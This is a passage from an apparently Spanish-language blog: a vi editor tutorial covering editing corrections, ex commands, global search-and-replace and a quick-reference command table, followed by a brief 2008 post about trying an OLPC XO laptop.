o abre una línea en blanco abajo de la actual
O ídem anterior pero sobre la actual

Correcciones

La única forma de corregir un error en modo texto es hacer un backspace y reintroducir los caracteres.

Correcciones más complejas deben ser realizadas desde el modo comandos. La tabla siguiente muestra los

comando que pueden ser utilizados:

x borra caracter
dw borra palabra
dd borra línea
r reemplaza un caracter sobre el cursor
R reemplaza un string de caracteres (sobreescribe)
cw cambia una palabra
s sustituye un caracter por un string
. repite el ultimo cambio

Un comando interesante es el punto (.) el cual repite el último cambio hecho en edición. Este puede ser

utilizado para cambiar cada ocurrencia de un string con otro, por ejemplo: si introducimos el comando /feo para buscar el string "feo". Entonces entre el comando cw e introduca "lindo" para reemplazar feo por lindo. Presione para aceptar el cambio. Para encontrar la siguiente ocurrencia introduzca el comando n y luego . para repretir el último cambio.


Comandos ex

La flexibilidad del vi está en el editor ex. En particular operaciones de búsqueda global y reemplazo están soportadas por el ex. Siempre sabemos cuales son los comandos ex porque aparecerá los : como prompt. Para pasar al modo comandos del ex Ud debe introducir desde el modo comando del vi (no insertando) los dos puntos (:). En este modo el cursor bajará a la última línea del display y aceptará comando en modo ex. El comando es ejecutado cuando Ud. presiona el Return. Con Ctrl-C el comando es anulado. La siguiente tabla muestra alguno de los comandos básico del ex:

:w Escribe el archivo
:q sale sin guardar cambios
:e nombre Edita archivo nombre
:sh ejecuta un shell sin salir del editor

Movimientos dentro del ex

Sobre el ex puede ejecutar comando refiriéndose a las líneas del texto. Por ejemplo el punto (.) representa la línea actual, y el $ la última línea. Por lo tanto se pueden combinar tal como .,$ lo cual significaría desde la línea actual hasta hasta la última línea en el archivo. Combinando este tipo de especificación se pueden crear comandos tales como :.+1,$d para borra cada línea desde la actual hasta el fin del archivo. La palabra g puede ser utilizado para realizar el tratamiento com global.

Búsqueda y reemplazo global

El siguiente ejemplo es una búsqueda global con reemplazo para mostrar las capacidades del vi.

Se desea buscar la cadena viejo y sustituirla por nuevo, desde el principio al final del texto:

:1,$s/viejo/nuevo/g

Se desea buscar en todo el archivo "feo" y reeemplazarlo por "lindo":

:g/feo/s//lindo/g

Si se desea utilizar caracteres especiales de debe emplear el \ (backslash). Por ejemplo para reemplazar todos los $ en **:

:g/\$/s//**/g

El return también puede ser especificado introduciendo 'ControlV'.


Quick Reference

La siguiente tabla da una referencia rápida con lo que soporta el vi (generalmente el vi tiene los mismo comandos en diferentes sistemas):

Obs: Los comandos comienzan por : y termina con return, preste atención a la tecla de Mayúsculas porque los comando difieren sin está apretada o no

Para empezar

vi file edita file
vi -r file edita la última versión salvada de file (recupera)
vi + n file edita y pone el cursor en la línea n
vi + file ídem pero a la última línea
vi file1 ... filen edita file1 a filen, despues de salvar file1, presione n para la siguiente
vi + /str file edita y sitúa el curso en la línea que contiene str
Salvar y Salir
ZZ o :wq o :x salva y sale
:w file salva en file, si no existe file salva en la actual
:w! salva y no controla la protección de escritura
n,mw file salva desde la línea n a la m en file
n,mw>> file añade desde n a m al final de file
:q sale (si hay cambios no lo ejcuta el comando)
:q! sale (si hay cambios los descarta)
Q permite pasar al ex (:vi retorna)
:e! reedit el archivo actual, descarta los cambios
Comandos de status
:.= imprime línea actual
:= imprime nº de líneas en el archivo
Ctrl-g imprime status del archivo
:l (ele) imprime los caracteres especiales de la línea actual
Insertar
a append
A append después del final de la línea
i insert
I insert antes del cominezo de la línea
o inserta un línea nueva (abajo)
O inserta una línea nueva (arriba)
Ctrl-V char inserta el char (válido para insertar caracteres de control)
:r file lee file e inserta después de la línea actual
:nr file ídem pero inserta después de la línea n
Undoing
u undo último comando
U Restaura la línea al estado original
"np Retrive el n-esimo delete (hasta 9 max)
n repite el último / o ? (búsqueda)
N Ídem anterior pero en orden inverso repite la última (bísqueda)
, ídem anterior pero en orden inverso
. repite el último cambio de texto
Posicionamiento del cursor
{ Marca las secciones cuando está en la primera columna
[[ Hacia atras y principo de sección
]] hacia adelante y principo de sección
Movimientos del cursor
k arriba
j abajo
h izquierda
l (ele) o Space derecha
w o W siguiente palabra (Mayúscula ignora puntuación)
b o B palabra previa
e o E fin palabra
0 o | 1º columna
$ ultimo caracter en la línea
+ o Return 1º caracter de la línea
- 1º caracter no blanco de la línea
G última línea
G$ último caracter
nG linea n
( comienzo de sentencia
) cominezo de sgte sentencia
{ Comienzo de párrafo
} Comienzo de párrafo sgte
Borrar
<- o Ctrl h borra caracter en modo insertar
Ctrl w borra palabra en modo insertar
Crtl x borra texto insertado en modo insertar
nx borra n caracteres incluyendo el de la posición del cursor
nX borra n caracteres previos al cursor incluido
D borra desde posición actual al fin de línea
ndw borra n palabras
Búsqueda
% busca el comienzo de () [] {}
fchar busca hacia adelante char
Fchar busca hacia atrás char
tchar busca hacia delante linea actual
Tchar busca hacia atrás linea actual
/str busca string
?str busca string hacia atrás
:set ic ignore case
:set noic no ignore case
Copiar
nyy o nY copia n líneas en el buffer desde la actual
p print las líneas de buffer en la posición del cursor
P ídem pero antes del cursor

09 enero, 2008

OLPC y la pequela XO

he tenido la oportunidad de provar una XO del proyecto de OLPC





Esta es la OLPC no se sabe si saldrán otra vez a la venta por que intel abandono el proyecto y comenzó el suyo propio . sin embargo esta pc es genial ! tiene 1 GB en memoria de almacenamiento pero se puede expander con memorias. la use por un momento y no pude ver todo lo que tiene pero ahi esta!